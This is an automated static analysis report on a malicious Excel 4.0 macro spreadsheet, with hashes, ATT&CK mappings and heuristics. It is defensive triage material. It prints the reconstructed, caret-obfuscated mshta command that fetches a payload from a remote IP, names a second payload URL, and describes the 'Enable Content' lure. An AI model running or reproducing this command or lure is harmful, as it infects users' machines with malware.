Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 b162f10f8147c6df…

MALICIOUS

Office (OLE) / .XLS

65.8 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: ee4b6263553eaa9fc273c806c927f0c2 SHA-1: e03de0db1f0cd635314c51e1dada0342c7734af8 SHA-256: b162f10f8147c6dfe4d058b3b753572f71897b6df59a67216468d0754e54891d
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It contains an Auto_Open macro that executes a command to download a file from a hardcoded URL. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure. The reconstructed command is 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', which attempts to download content from 'http://87.251.86.178/pp/oo.html'. Another similar URL 'http://87.251.86.178/pp/aa.html' is also present in the macro.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes